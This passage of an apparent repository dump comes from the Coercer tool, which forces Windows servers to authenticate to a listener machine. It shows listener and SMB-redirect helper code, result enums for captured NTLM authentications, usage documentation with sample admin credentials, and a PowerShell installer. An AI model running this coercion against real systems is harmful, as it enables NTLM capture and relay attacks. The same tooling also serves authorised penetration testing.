| def get_ip_address_to_target_remote_host(host, port): 23 | """ 24 | Function get_ip_address_to_target_remote_host(host, port) 25 | """ 26 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 27 | try: 28 | s.connect((host, port)) 29 | return s.getsockname()[0] 30 | except Exception as e: 31 | return None 32 | 33 | 34 | def can_listen_on_port(listen_ip, port): 35 | """ 36 | Function can_listen_on_port(listen_ip, port) 37 | """ 38 | try: 39 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | s.settimeout(0.05) 41 | s.bind((listen_ip, port)) 42 | s.listen(5) 43 | s.close() 44 | return True 45 | except OSError as e: 46 | return False 47 | 48 | 49 | def get_ip_addr_to_listen_on(target, options): 50 | """ 51 | Function get_ip_addr_to_listen_on(target, options) 52 | """ 53 | # Getting IP address to listen on 54 | listening_ip = None 55 | if options.ip_address is not None: 56 | listening_ip = options.ip_address 57 | elif options.interface is not None: 58 | listening_ip = get_ip_address_of_interface(options.interface) 59 | if listening_ip is None: 60 | reporter.print_error("Could not get IP address of interface '%s'" % options.interface) 61 | else: 62 | # Getting ip address of interface that can access remote target 63 | possible_ports, k = [4445 if options.redirecting_smb_packets else options.smb_port, 139, 88], 0 64 | while listening_ip is None and k < len(possible_ports): 65 | listening_ip = get_ip_address_to_target_remote_host(target, possible_ports[k]) 66 | k += 1 67 | if listening_ip is None: 68 | reporter.print_error("Could not detect interface with a route to target machine '%s'" % target) 69 | return listening_ip 70 | 71 | 72 | def get_next_http_listener_port(current_value, listen_ip, options): 73 | """ 74 | Function get_next_http_listener_port(current_value, listen_ip, options) 75 | """ 76 | port_window = (options.max_http_port - options.min_http_port) 77 | 78 | if current_value > options.max_http_port: 79 | current_value = options.max_http_port 80 | 81 | if current_value < options.min_http_port: 82 | current_value = options.min_http_port 83 | 84 | current_value = options.min_http_port + ((current_value + 1) % port_window) 85 | while not can_listen_on_port(listen_ip, current_value): 86 | current_value = options.min_http_port + ((current_value + 1) % port_window) 87 | 88 | return current_value 89 | 90 | def redirect_smb_packets(): 91 | import pydivert 92 | with pydivert.WinDivert("tcp.DstPort == 445 or tcp.SrcPort == 4445") as w: 93 | for packet in w: 94 | if packet.dst_port == 445 and packet.is_inbound: 95 | packet.dst_port = 4445 96 | if packet.src_port == 4445 and packet.is_outbound: 97 | packet.src_port = 445 98 | w.send(packet) -------------------------------------------------------------------------------- /coercer/structures/Credentials.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Credentials.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 16 Sep 2022 6 | 7 | class Credentials(object): 8 | """ 9 | Documentation for class Credentials 10 | """ 11 | 12 | def __init__(self, username, password, domain, lmhash, nthash, doKerberos=False, kdcHost=None): 13 | super(Credentials, self).__init__() 14 | self.username = username 15 | self.password = password 16 | self.domain = domain 17 | self.lmhash = lmhash 18 | self.nthash = nthash 19 | self.doKerberos = doKerberos 20 | self.kdcHost = kdcHost 21 | 22 | def is_anonymous(self): 23 | """ 24 | Function is_anonymous() 25 | Returns True if anonymous authentication is used False otherwise 26 | 27 | Returns: 28 | bool:anonymous 29 | """ 30 | anonymous = False 31 | if self.username is None: 32 | anonymous = True 33 | elif len(self.username) == 0: 34 | anonymous = True 35 | else: 36 | anonymous = False 37 | return anonymous 38 | -------------------------------------------------------------------------------- /coercer/structures/EscapeCodes.py: -------------------------------------------------------------------------------- 1 | BOLD_BRIGHT_GREEN = "\x1b[1;92m" 2 | BOLD_BRIGHT_RED = "\x1b[1;91m" 3 | BOLD_BRIGHT_MAGENTA = "\x1b[1;95m" 4 | BOLD_BRIGHT_BLUE = "\x1b[1;94m" 5 | 6 | BRIGHT_GREEN = "\x1b[92m" 7 | BRIGHT_YELLOW = "\x1b[93m" 8 | BRIGHT_RED = "\x1b[91m" 9 | BRIGHT_BLUE = "\x1b[94m" 10 | BRIGHT_CYAN = "\x1b[96m" 11 | 12 | BOLD = "\x1b[1m" 13 | RESET = "\x1b[0m" 14 | 15 | CURSOR_UP_ONE = "\x1b[1A" 16 | ERASE_LINE = "\x1b[2K" 17 | -------------------------------------------------------------------------------- /coercer/structures/MethodType.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : MethodTypes.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 Sep 2022 6 | 7 | from enum import Enum 8 | 9 | 10 | class MethodType(Enum): 11 | """ 12 | Enum class MethodType 13 | """ 14 | 15 | MICROSOFT_PROTOCOL = 0x01 16 | 17 | OTHER = 0xff 18 | 19 | 20 | -------------------------------------------------------------------------------- /coercer/structures/Modes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Modes.py 4 | # Author : p0rtL (@p0rtL6) 5 | # Date created : 3 Dec 2024 6 | 7 | from enum import Enum 8 | 9 | 10 | class Modes(Enum): 11 | """ 12 | Enum class Modes 13 | """ 14 | COERCE = 0x01 15 | SCAN = 0x02 16 | FUZZ = 0x03 -------------------------------------------------------------------------------- /coercer/structures/ReportingLevel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : ReportingLevel.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 19 Sep 2022 6 | 7 | from enum import Enum 8 | 9 | 10 | class ReportingLevel(Enum): 11 | """ 12 | Enum class ReportingLevel 13 | """ 14 | 15 | INFO = 1 16 | 17 | VERBOSE = 2 18 | 19 | DEBUg = 0xff -------------------------------------------------------------------------------- /coercer/structures/TestResult.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : TestResults.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 19 Sep 2022 6 | 7 | from enum import Enum 8 | 9 | 10 | class TestResult(Enum): 11 | """ 12 | Enum class TestResult 13 | """ 14 | NO_AUTH_RECEIVED = 0x0 15 | SMB_AUTH_RECEIVED = 0x1 16 | HTTP_AUTH_RECEIVED = 0x2 17 | SMB_AUTH_RECEIVED_NTLMv1 = 0x3 18 | SMB_AUTH_RECEIVED_NTLMv2 = 0x4 19 | 20 | NCA_S_UNK_IF = 0x10001 21 | 22 | ERROR_BAD_NETPATH = 0x35 23 | ERROR_INVALID_NAME = 0x7b 24 | 25 | RPC_X_BAD_STUB_DATA = 0x20001 26 | RPC_S_ACCESS_DENIED = 0x5 27 | RPC_S_INVALID_BINDING = 0x6a6 28 | RPC_S_INVALID_NET_ADDR = 0x6ab 29 | 30 | SMB_STATUS_PIPE_DISCONNECTED = 0x30001 31 | 32 | @staticmethod 33 | def from_string(string): 34 | if "rpc_x_bad_stub_data" in string: 35 | return TestResult.RPC_X_BAD_STUB_DATA 36 | 37 | elif "nca_s_unk_if" in string: 38 | return TestResult.NCA_S_UNK_IF 39 | 40 | elif "rpc_s_access_denied" in string: 41 | return TestResult.RPC_S_ACCESS_DENIED 42 | 43 | elif "ERROR_BAD_NETPATH" in string: 44 | return TestResult.ERROR_BAD_NETPATH 45 | 46 | elif "ERROR_INVALID_NAME" in string: 47 | return TestResult.ERROR_INVALID_NAME 48 | 49 | elif "STATUS_PIPE_DISCONNECTED" in string: 50 | return TestResult.SMB_STATUS_PIPE_DISCONNECTED 51 | 52 | elif "RPC_S_INVALID_BINDING" in string: 53 | return TestResult.RPC_S_INVALID_BINDING 54 | 55 | elif "RPC_S_INVALID_NET_ADDR" in string: 56 | return TestResult.RPC_S_INVALID_NET_ADDR 57 | 58 | else: 59 | raise ValueError("Cannot convert string to enum => %s" % string) -------------------------------------------------------------------------------- /coercer/structures/TransportType.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : TransportType.py 4 | # Author : p0rtL (@p0rtL6) 5 | # Date created : 3 Dec 2024 6 | 7 | from enum import Enum 8 | 9 | 10 | class TransportType(Enum): 11 | """ 12 | Enum class TransportType 13 | """ 14 | NCACN_IP_TCP = "DCERPC port" 15 | NCAN_NP = "SMB named pipe" 16 | -------------------------------------------------------------------------------- /coercer/structures/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | -------------------------------------------------------------------------------- /documentation/Coerce-mode.md: -------------------------------------------------------------------------------- 1 | ### Coerce mode 2 | 3 | ``` 4 | ./Coercer.py coerce -u 'Administrator' -p 'Admin123!' --target 192.168.1.46 --listener-ip 192.168.1.17 5 | ``` 6 | 7 | Complete help of this mode: 8 | 9 | ``` 10 | # ./Coercer.py coerce -h 11 | ______ 12 | / ____/___ ___ _____________ _____ 13 | / / / __ \/ _ \/ ___/ ___/ _ \/ ___/ 14 | / /___/ /_/ / __/ / / /__/ __/ / v2.1-blackhat-edition 15 | \____/\____/\___/_/ \___/\___/_/ by Remi GASCOU (Podalirius) 16 | 17 | usage: Coercer.py coerce [-h] [-v] [--delay DELAY] [--http-port HTTP_PORT] [--smb-port SMB_PORT] [--filter-method-name FILTER_METHOD_NAME] [--filter-protocol-name FILTER_PROTOCOL_NAME] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] 18 | [--hashes [LMHASH]:NTHASH] [--no-pass] [--dc-ip ip address] (-t TARGET_IP | -f TARGETS_FILE) [-l LISTENER_IP] 19 | 20 | options: 21 | -h, --help show this help message and exit 22 | -v, --verbose Verbose mode (default: False) 23 | -t TARGET_IP, --target-ip TARGET_IP 24 | IP address or hostname of the target machine 25 | -f TARGETS_FILE, --targets-file TARGETS_FILE 26 | File containing a list of IP address or hostname of the target machines 27 | 28 | Advanced configuration: 29 | --delay DELAY Delay between attempts (in seconds) 30 | --http-port HTTP_PORT 31 | HTTP port (default: 80) 32 | --smb-port SMB_PORT SMB port (default: 445) 33 | 34 | Filtering methods: 35 | --filter-method-name FILTER_METHOD_NAME 36 | --filter-protocol-name FILTER_PROTOCOL_NAME 37 | 38 | Credentials: 39 | -u USERNAME, --username USERNAME 40 | Username to authenticate to the machine. 41 | -p PASSWORD, --password PASSWORD 42 | Password to authenticate to the machine. (if omitted, it will be asked unless -no-pass is specified) 43 | -d DOMAIN, --domain DOMAIN 44 | Windows domain name to authenticate to the machine. 45 | --hashes [LMHASH]:NTHASH 46 | NT/LM hashes (LM hash can be empty) 47 | --no-pass Don't ask for password (useful for -k) 48 | --dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter 49 | 50 | Listener: 51 | -l LISTENER_IP, --listener-ip LISTENER_IP 52 | IP address or hostname of the listener machine 53 | ``` -------------------------------------------------------------------------------- /documentation/Fuzz-mode.md: -------------------------------------------------------------------------------- 1 | ### Fuzz mode 2 | 3 | ``` 4 | ./Coercer.py fuzz -u 'Administrator' -p 'Admin123!' --target 192.168.1.46 5 | ``` 6 | 7 | Complete help of this mode: 8 | 9 | ``` 10 | # ./Coercer.py fuzz -h 11 | ______ 12 | / ____/___ ___ _____________ _____ 13 | / / / __ \/ _ \/ ___/ ___/ _ \/ ___/ 14 | / /___/ /_/ / __/ / / /__/ __/ / v2.1-blackhat-edition 15 | \____/\____/\___/_/ \___/\___/_/ by Remi GASCOU (Podalirius) 16 | 17 | usage: Coercer.py fuzz [-h] [-v] [--export-json EXPORT_JSON] [--export-xlsx EXPORT_XLSX] [--export-sqlite EXPORT_SQLITE] [--delay DELAY] [--min-http-port MIN_HTTP_PORT] [--max-http-port MAX_HTTP_PORT] [--smb-port SMB_PORT] 18 | [--filter-method-name FILTER_METHOD_NAME] [--filter-protocol-name FILTER_PROTOCOL_NAME] [--only-known-exploit-paths] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] 19 | [--dc-ip ip address] (-t TARGET_IP | -f TARGETS_FILE) [-i INTERFACE | -I IP_ADDRESS] 20 | 21 | options: 22 | -h, --help show this help message and exit 23 | -v, --verbose Verbose mode (default: False) 24 | -t TARGET_IP, --target-ip TARGET_IP 25 | IP address or hostname of the target machine 26 | -f TARGETS_FILE, --targets-file TARGETS_FILE 27 | File containing a list of IP address or hostname of the target machines 28 | -i INTERFACE, --interface INTERFACE 29 | Interface to listen on incoming authentications. 30 | -I IP_ADDRESS, --ip-address IP_ADDRESS 31 | IP address to listen on incoming authentications. 32 | 33 | Advanced configuration: 34 | --export-json EXPORT_JSON 35 | Export results to specified JSON file. 36 | --export-xlsx EXPORT_XLSX 37 | Export results to specified XLSX file. 38 | --export-sqlite EXPORT_SQLITE 39 | Export results to specified SQLITE3 database file. 40 | --delay DELAY Delay between attempts (in seconds) 41 | --min-http-port MIN_HTTP_PORT 42 | Verbose mode (default: False) 43 | --max-http-port MAX_HTTP_PORT 44 | Verbose mode (default: False) 45 | --smb-port SMB_PORT SMB port (default: 445) 46 | 47 | Filtering methods: 48 | --filter-method-name FILTER_METHOD_NAME 49 | --filter-protocol-name FILTER_PROTOCOL_NAME 50 | 51 | Credentials: 52 | --only-known-exploit-paths 53 | Only test known exploit paths for each functions 54 | -u USERNAME, --username USERNAME 55 | Username to authenticate to the remote machine. 56 | -p PASSWORD, --password PASSWORD 57 | Password to authenticate to the remote machine. (if omitted, it will be asked unless -no-pass is specified) 58 | -d DOMAIN, --domain DOMAIN 59 | Windows domain name to authenticate to the machine. 60 | --hashes [LMHASH]:NTHASH 61 | NT/LM hashes (LM hash can be empty) 62 | --no-pass Don't ask for password (useful for -k) 63 | --dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter 64 | ``` -------------------------------------------------------------------------------- /documentation/Scan-mode.md: -------------------------------------------------------------------------------- 1 | ### Scan mode 2 | 3 | ``` 4 | ./Coercer.py scan -u 'Administrator' -p 'Admin123!' --target 192.168.1.46 5 | ``` 6 | 7 | Complete help of this mode: 8 | 9 | ``` 10 | # ./Coercer.py scan -h 11 | ______ 12 | / ____/___ ___ _____________ _____ 13 | / / / __ \/ _ \/ ___/ ___/ _ \/ ___/ 14 | / /___/ /_/ / __/ / / /__/ __/ / v2.1-blackhat-edition 15 | \____/\____/\___/_/ \___/\___/_/ by Remi GASCOU (Podalirius) 16 | 17 | usage: Coercer.py scan [-h] [-v] [--export-json EXPORT_JSON] [--export-xlsx EXPORT_XLSX] [--export-sqlite EXPORT_SQLITE] [--delay DELAY] [--min-http-port MIN_HTTP_PORT] [--max-http-port MAX_HTTP_PORT] [--smb-port SMB_PORT] 18 | [--filter-method-name FILTER_METHOD_NAME] [--filter-protocol-name FILTER_PROTOCOL_NAME] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [--dc-ip ip address] 19 | (-t TARGET_IP | -f TARGETS_FILE) [-i INTERFACE | -I IP_ADDRESS] 20 | 21 | options: 22 | -h, --help show this help message and exit 23 | -v, --verbose Verbose mode (default: False) 24 | -t TARGET_IP, --target-ip TARGET_IP 25 | IP address or hostname of the target machine 26 | -f TARGETS_FILE, --targets-file TARGETS_FILE 27 | File containing a list of IP address or hostname of the target machines 28 | -i INTERFACE, --interface INTERFACE 29 | Interface to listen on incoming authentications. 30 | -I IP_ADDRESS, --ip-address IP_ADDRESS 31 | IP address to listen on incoming authentications. 32 | 33 | Advanced options: 34 | --export-json EXPORT_JSON 35 | Export results to specified JSON file. 36 | --export-xlsx EXPORT_XLSX 37 | Export results to specified XLSX file. 38 | --export-sqlite EXPORT_SQLITE 39 | Export results to specified SQLITE3 database file. 40 | --delay DELAY Delay between attempts (in seconds) 41 | --min-http-port MIN_HTTP_PORT 42 | Verbose mode (default: False) 43 | --max-http-port MAX_HTTP_PORT 44 | Verbose mode (default: False) 45 | --smb-port SMB_PORT SMB port (default: 445) 46 | 47 | Filtering methods: 48 | --filter-method-name FILTER_METHOD_NAME 49 | --filter-protocol-name FILTER_PROTOCOL_NAME 50 | 51 | Credentials: 52 | -u USERNAME, --username USERNAME 53 | Username to authenticate to the remote machine. 54 | -p PASSWORD, --password PASSWORD 55 | Password to authenticate to the remote machine. (if omitted, it will be asked unless -no-pass is specified) 56 | -d DOMAIN, --domain DOMAIN 57 | Windows domain name to authenticate to the machine. 58 | --hashes [LMHASH]:NTHASH 59 | NT/LM hashes (LM hash can be empty) 60 | --no-pass Don't ask for password (useful for -k) 61 | --dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter 62 | ``` -------------------------------------------------------------------------------- /documentation/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /documentation/videos/demo-coerce.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/documentation/videos/demo-coerce.mp4 -------------------------------------------------------------------------------- /documentation/videos/demo-fuzz.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/documentation/videos/demo-fuzz.mp4 -------------------------------------------------------------------------------- /documentation/videos/demo-scan.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/documentation/videos/demo-scan.mp4 -------------------------------------------------------------------------------- /documentation/videos/demo-webdav-coerce.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/documentation/videos/demo-webdav-coerce.mp4 -------------------------------------------------------------------------------- /installer.ps1: -------------------------------------------------------------------------------- 1 | # Coercer Installer 2 | 3 | $PythonVersion = '3.13.0' 4 | $StartingDirectory = Get-Location 5 | 6 | $PythonInstallerPath = Join-Path -Path $Env:TEMP -ChildPath "python-$PythonVersion.exe" 7 | 8 | $RepositoryArchivePath = Join-Path -Path $Env:TEMP -ChildPath "coercer.zip" 9 | $RepositoryFolderPath = Join-Path -Path $Env:TEMP -ChildPath "coercer-windows-support" 10 | 11 | $MachinePythonKey = "HKLM:\Software\Python\PythonCore" 12 | $UserPythonKey = "HKCU:\Software\Python\PythonCore" 13 | $FoundPython = $False 14 | 15 | $PythonVersionParts = $PythonVersion.Split(".") 16 | $TruncatedPythonVersion = "$($PythonVersionParts[0]).$($PythonVersionParts[1])" 17 | 18 | $BuildToolsKey = 'HKLM:\Software\Microsoft\VisualStudio' 19 | $BuildToolsMinVersion = '14.0' 20 | 21 | $Options = New-object System.Collections.Hashtable 22 | $Options['OutputDir'] = @{ 23 | Name = 'Output Directory' 24 | Desc = 'Set the output directory for the built script' 25 | Keywords = @('-o', '--output-dir') 26 | Value = $StartingDirectory 27 | Type = 'Path' 28 | } 29 | 30 | $Flags = New-object System.Collections.Hashtable 31 | $Flags['OverridePython'] = @{ 32 | Name = 'Override Installed Python' 33 | Desc = "Install Python $PythonVersion even if an existing python version is installed" 34 | Keywords = @('-P', '--override-python') 35 | Value = $False 36 | } 37 | $Flags['LeavePython'] = @{ 38 | Name = 'Leave Installed Python' 39 | Desc = "If installed, do not uninstall Python $PythonVersion from the system" 40 | Keywords = @('-L', '--leave-python') 41 | Value = $False 42 | } 43 | $Flags['InstallSystemWide'] = @{ 44 | Name = 'Install Script System-Wide' 45 | Desc = 'Install script to C:\Program Files\ and add them to the PATH (Ignores Output Directory)' 46 | Keywords = @('-I', '--install-systemwide') 47 | Value = $False 48 | } 49 | 50 | function GetKeyByKeyword { 51 | param ( 52 | [hashtable]$HashTable, 53 | [string]$Keyword 54 | ) 55 | 56 | foreach ($Key in $HashTable.Keys) { 57 | $Item = $HashTable[$Key] 58 | if ($Item.Keywords -contains $Keyword) { 59 | return $Key 60 | } 61 | } 62 | return $Null 63 | } 64 | 65 | $HelpMenuPadding = 25 66 | 67 | function Show-HelpMenu { 68 | Write-Host '=== Coercer Installer ===' 69 | Write-Host 'Downloads, builds, and installs scripts from the Coercer repository' 70 | Write-Host '' 71 | Write-Host 'Usage: installer.ps1 [FLAGS] [OPTIONS]' 72 | Write-Host '' 73 | Write-Host 'Flags:' 74 | foreach ($Flag in $Flags.Values) { 75 | $FormattedKeywords = $Flag['Keywords'] -join ' ' 76 | Write-Host " $($FormattedKeywords.PadRight($HelpMenuPadding)) $($Flag['Desc'])" 77 | } 78 | Write-Host '' 79 | Write-Host 'Options:' 80 | Write-Host " $('-h --help'.PadRight($HelpMenuPadding)) Display this menu" 81 | foreach ($Option in $Options.Values) { 82 | $FormattedKeywords = $Option['Keywords'] -join ' ' 83 | Write-Host " $($FormattedKeywords.PadRight($HelpMenuPadding)) $($Option['Desc']) (default: $($Option['Value']))" 84 | } 85 | Write-Host '' 86 | } 87 | 88 | for ($I = 0; $I -lt $Args.Count; $I++) { 89 | if ($Args[$I] -eq '-h' -or $Args[$I] -eq '--help') { 90 | Show-HelpMenu 91 | exit 0 92 | } 93 | elseif ($Args[$I].startsWith('-')) { 94 | $ArgParts = $Args[$I] -split '=' 95 | $Keyword = $ArgParts[0] 96 | $Value = $Null 97 | 98 | $FlagsKey = GetKeyByKeyword -HashTable $Flags -Keyword $Keyword 99 | $OptionsKey = GetKeyByKeyword -HashTable $Options -Keyword $Keyword 100 | 101 | if ($ArgParts.Count -eq 2) { 102 | $Value = $ArgParts[1] 103 | } 104 | elseif ($ArgParts.Count -gt 1) { 105 | throw "Error in $($Options[$OptionsKey]['Name']): Multiple equals signs (Use -h or --help for help)" 106 | } 107 | 108 | if ($FlagsKey) { 109 | $Flags[$FlagsKey]['Value'] = $True 110 | } 111 | elseif ($OptionsKey) { 112 | if (-not $Value) { 113 | $I++ 114 | $Value = $Args[$I] 115 | } 116 | if (-not $Value) { 117 | throw "Error in $($Options[$OptionsKey]['Name']): No value recieved (Use -h or --help for help)" 118 | } 119 | if ($Options[$OptionsKey]['type'] -eq 'Path' -and -not (Test-Path $Value)) { 120 | throw "Error in $($Options[$OptionsKey]['Name']): Path does not exist (Use -h or --help for help)" 121 | } 122 | $Options[$OptionsKey]['Value'] = $Value 123 | } 124 | else { 125 | throw "Error: Unrecognized argument (Use -h or --help for help)" 126 | } 127 | } 128 | } 129 | 130 | # Check Local Machine Registry 131 | if (Test-Path $MachinePythonKey) { 132 | Get-ChildItem $MachinePythonKey | ForEach-Object { 133 | if ($_.PSChildName -eq $TruncatedPythonVersion) { 134 | $FoundPython = $True 135 | Write-Host "Python $($_.PSChildName) found in Local Machine" 136 | } 137 | } 138 | } 139 | 140 | # Check Current User Registry 141 | if (Test-Path $UserPythonKey) { 142 | Get-ChildItem $UserPythonKey | ForEach-Object { 143 | if ($_.PSChildName -eq $TruncatedPythonVersion) { 144 | $FoundPython = $True 145 | Write-Host "Python $($_.PSChildName) found in Current User" 146 | } 147 | } 148 | } 149 | 150 | # Download and install Python 151 | if (-not $FoundPython -or $Flags['OverridePython']['Value']) { 152 | Write-Host "Python $PythonVersion is not installed, installing now..." 153 | Invoke-WebRequest -Uri "https://www.python.org/ftp/python/$PythonVersion/python-$PythonVersion-amd64.exe" -OutFile $PythonInstallerPath 154 | Start-Process $PythonInstallerPath -ArgumentList "/quiet PrependPath=1 Include_launcher=0" -Wait 155 | 156 | # Refresh PATH 157 | $Env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "User") 158 | } 159 | 160 | # Check for vaild build tools installed 161 | Write-Host 'Checking build tools install...' 162 | $VersionPattern = "^\d+\.\d+" 163 | $VersionKeys = Get-ChildItem -Path $BuildToolsKey | Where-Object { $_.PSChildName -match $versionPattern } 164 | $FoundValidBuildTools = $False 165 | 166 | foreach ($version in $versionKeys) { 167 | if ($FoundValidBuildTools) { break } 168 | 169 | try { 170 | $versionNumber = [version]$version.PSChildName 171 | if ($versionNumber -lt [version]$BuildToolsMinVersion) { 172 | continue 173 | } 174 | $runtimePath = "$($version.PSPath)\VC\Runtimes\debug\X64" 175 | if (Test-Path $runtimePath) { 176 | $FoundValidBuildTools = $True 177 | } 178 | } 179 | catch {} 180 | } 181 | 182 | if (-not $FoundValidBuildTools) { 183 | Write-Host 'Microsoft C++ Build Tools not found, version 14.0+ is required, installing...' 184 | try { 185 | 186 | $BuildToolsPath = Join-Path $env:TEMP 'buildtools.exe' 187 | Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile $BuildToolsPath 188 | $BuildArgs = '--quiet --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended' 189 | Start-Process $BuildToolsPath -ArgumentList $BuildArgs -Wait 190 | } 191 | catch { 192 | throw 'Error installing build tools, download it manually (https://aka.ms/vs/17/release/vs_BuildTools.exe)' 193 | } 194 | } 195 | 196 | # Download and unzip repository 197 | Write-Host 'Downloading repository...' 198 | Invoke-WebRequest -Uri "https://github.com/p0dalirius/coercer/archive/refs/heads/master.zip" -OutFile $RepositoryArchivePath 199 | Expand-Archive -Path $RepositoryArchivePath -DestinationPath $Env:TEMP -Force 200 | Remove-Item $RepositoryArchivePath 201 | 202 | # Begin build process 203 | Write-Host 'Beginning build process...' 204 | Set-Location -Path $RepositoryFolderPath 205 | try { 206 | 207 | # Create and activate virtual environment 208 | python -m venv .venv 209 | .venv\Scripts\Activate.ps1 210 | 211 | pip install pyinstaller 212 | 213 | # Setup 214 | pip install -r requirements.txt 215 | python setup.py install 216 | 217 | Write-Host "Building..." 218 | 219 | $Arguments = @('--onefile', '--collect-all', 'impacket', '--add-data', 'coercer;coercer') 220 | pyinstaller $Arguments "Coercer.py" 221 | 222 | $BuiltScriptPath = Join-Path -Path $RepositoryFolderPath -ChildPath "dist\Coercer.exe" 223 | 224 | if ($Flags['InstallSystemWide']['Value']) { 225 | # Prepare destination folder 226 | Write-Host 'Copying executable to Program Files...' 227 | New-Item -ItemType Directory -Path 'C:\Program Files\Coercer' -Force 228 | 229 | # Copy built executable into program files 230 | Copy-Item -Path $BuiltScriptPath -Destination 'C:\Program Files\Coercer' -Force 231 | } 232 | else { 233 | Copy-Item -Path $BuiltScriptPath -Destination $Options['OutputDir']['Value'] -Force 234 | } 235 | 236 | if ($Flags['InstallSystemWide']['Value']) { 237 | # Get the current PATH environment variable 238 | Write-Host "Updating PATH..." 239 | $CurrentPath = [System.Environment]::GetEnvironmentVariable('Path', [System.EnvironmentVariableTarget]::Machine) 240 | 241 | # Check if the path already exists in PATH 242 | if ($CurrentPath -notlike "*C:\Program Files\Coercer*") { 243 | # Append the new path to the existing PATH variable 244 | $NewPath = $CurrentPath + ';' + 'C:\Program Files\Coercer' 245 | 246 | # Set the new PATH variable 247 | [System.Environment]::SetEnvironmentVariable('Path', $NewPath, [System.EnvironmentVariableTarget]::Machine) 248 | 249 | Write-Host 'Successfully added C:\Program Files\Coercer to PATH.' 250 | } 251 | else { 252 | Write-Host 'C:\Program Files\Coercer is already in PATH.' 253 | } 254 | } 255 | } 256 | catch { 257 | Write-Error 'Build Failed. Make sure you have Microsoft Visual Studio C++ Build Tools installed (Check MSVC, Windows 11 SDK)' 258 | Write-Error "$($_.Exception.Message)" 259 | } 260 | 261 | Write-Host 'Cleaning up...' 262 | 263 | deactivate 264 | Set-Location -Path $StartingDirectory 265 | Remove-Item -Recurse -Force $RepositoryFolderPath 266 | 267 | if (-not $Flags['LeavePython']['Value'] -and (-not $FoundPython -or $Flags['OverridePython']['Value'])) { 268 | Write-Host 'Uninstalling Python...' 269 | Start-Process $PythonInstallerPath -ArgumentList "/uninstall /quiet PrependPath=1" -Wait 270 | } 271 | 272 | Write-Host 'Done!' 273 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [project] 2 | name = "coercer" 3 | version = "2.4.3" 4 | description = "A Python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 15 methods." 5 | readme = "README.md" 6 | requires-python = ">=3.7" 7 | license = { text = "MIT" } 8 | authors = [ 9 | { name = "p0dalirius" } 10 | ] 11 | dependencies = [ 12 | "impacket>=0.10.0", 13 | "xlsxwriter>=3.0.0", 14 | "jinja2>=3.1.3", 15 | "sectools>=1.4.3", 16 | "netifaces>=0.11.0" 17 | ] 18 | 19 | [project.scripts] 20 | coercer="coercer.__main__:main" 21 | 22 | [build-system] 23 | requires = ["poetry-core>=1.7.0"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket 2 | xlsxwriter 3 | jinja2 4 | sectools 5 | netifaces 6 | psutil 7 | pydivert; sys_platform == "win32" -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : setup.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | 7 | import setuptools 8 | 9 | long_description = """ 10 | # Coercer 11 | 12 |

13 | A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods. 14 |
15 | PyPI 16 | GitHub release (latest by date) 17 | 18 | YouTube Channel Subscribers 19 |
20 |

